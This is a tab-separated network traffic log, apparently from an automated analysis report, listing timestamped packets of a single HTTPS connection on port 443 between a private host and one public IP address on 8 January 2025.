Jan 8, 2025 07:15:05.823131084 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.823137999 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.823158026 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.823179960 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.836222887 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.836242914 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.836323977 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.836330891 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.836390972 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.847534895 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.847559929 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.847596884 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.847604990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.847629070 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.847650051 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.882544994 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.882564068 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.882626057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.882646084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.882967949 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.933643103 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.933662891 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.933737040 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.933763981 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.933852911 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.945311069 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.945334911 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.945389986 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.945398092 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.945450068 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.954847097 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.954864979 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.954926968 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.954936028 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.954967022 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.954977989 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.978590965 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.978606939 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.978661060 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.978671074 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.978698969 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.978712082 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.979212999 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.979228020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.979269028 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.979274988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.979304075 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.979330063 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.990267992 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.990283966 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.990334034 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.990349054 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.990386009 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.990386009 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.998552084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.998567104 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.998615026 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.998631954 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:05.998642921 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:05.998670101 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.007986069 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.008002043 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.008058071 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.008064985 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.008093119 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.008109093 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.020632029 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.020647049 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.020701885 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.020710945 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.020720005 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.020754099 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.032130957 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.032146931 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.032201052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.032207966 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.032252073 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.041790009 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.041806936 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.041867971 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.041877031 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.041994095 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.051238060 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.051254034 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.051318884 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.051328897 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.051460981 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.062717915 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.062736988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.062841892 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.062850952 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.062906027 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.072269917 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.072305918 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.072338104 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.072346926 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.072393894 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.083684921 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.083703041 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.083766937 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.083776951 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.083941936 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.094820976 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.094836950 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.094917059 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.094926119 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.094969034 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.105432034 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.105453014 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.105499983 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.105510950 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.105566978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.115225077 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.115258932 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.115298986 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.115305901 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.115324020 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.115406990 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.128859997 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.128875971 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.128918886 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.128928900 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.128952026 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.129123926 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.138190031 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.138206959 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.138250113 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.138257980 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.138293982 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.138305902 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.149615049 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.149631977 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.149687052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.149698019 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.149741888 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.159066916 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.159084082 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.159138918 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.159149885 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.159280062 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.170573950 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.170593977 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.170650005 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.170658112 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.170720100 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.181734085 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.181757927 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.181822062 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.181829929 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.182024956 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.192521095 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.192542076 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.192608118 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.192620039 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.192666054 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.202054024 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.202071905 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.202148914 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.202158928 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.202243090 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.215521097 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.215536118 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.215581894 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.215589046 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.215639114 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.225270033 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.225285053 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.225333929 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.225342035 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.225385904 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.236790895 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.236805916 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.236860991 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.236870050 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.236957073 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.245937109 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.245950937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.246000051 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.246011972 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.246049881 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.246061087 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.257380009 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.257395983 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.257517099 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.257528067 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.259103060 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.268603086 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.268625021 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.268672943 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.268680096 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.268984079 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.279330969 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.279345989 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.279460907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.279473066 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.279695034 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.288954020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.288969994 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.289033890 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.289041042 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.289092064 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.308852911 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.308868885 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.308928013 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.308937073 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.308979988 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.312288046 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.312303066 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.312381983 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.312390089 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.312613010 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.323479891 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.323493958 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.323563099 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.323571920 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.323622942 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.332804918 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.332819939 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.332880974 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.332895041 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.332947969 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.344338894 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.344353914 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.344472885 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.344482899 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.344520092 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.355459929 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.355474949 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.355537891 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.355547905 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.355618954 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.366301060 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.366316080 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.366403103 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.366425037 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.366677999 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.379631042 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.379646063 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.379705906 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.379723072 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.379929066 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.395832062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.395847082 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.395908117 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.395921946 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.396023989 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.399120092 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.399135113 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.399188995 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.399200916 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.399233103 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.399247885 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.410398006 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.410412073 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.410458088 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.410469055 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.410590887 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.419764042 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.419779062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.419883013 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.419895887 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.419960022 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.431478977 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.431504965 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.431552887 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.431564093 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.431588888 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.431607962 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.442504883 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.442523003 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.442572117 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.442585945 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.442608118 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.442620993 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.453207970 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.453231096 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.453335047 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.453335047 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.453349113 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.453383923 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.466528893 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.466545105 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.466625929 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.466641903 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.466861010 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.482880116 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.482894897 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.482949018 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.482975006 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.482990980 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.483043909 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.486032009 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.486051083 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.486114025 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.486121893 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.486186981 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.497327089 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.497343063 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.497414112 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.497421980 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.497494936 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.506691933 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.506706953 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.506761074 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.506769896 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.506912947 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.518203020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.518223047 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.518284082 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.518292904 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.518321991 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.518341064 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.529201984 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.529217005 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.529270887 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.529279947 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.529395103 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.540307045 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.540322065 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.540376902 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.540385962 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.540396929 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.540422916 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.553445101 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.553464890 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.553512096 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.553522110 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.553539038 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.553556919 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.569689035 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.569704056 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.569777966 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.569787025 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.569864035 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.573095083 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.573108912 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.573179007 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.573188066 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.573327065 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.584235907 CET	443	49732	47.79.48.230	192.168.2.4
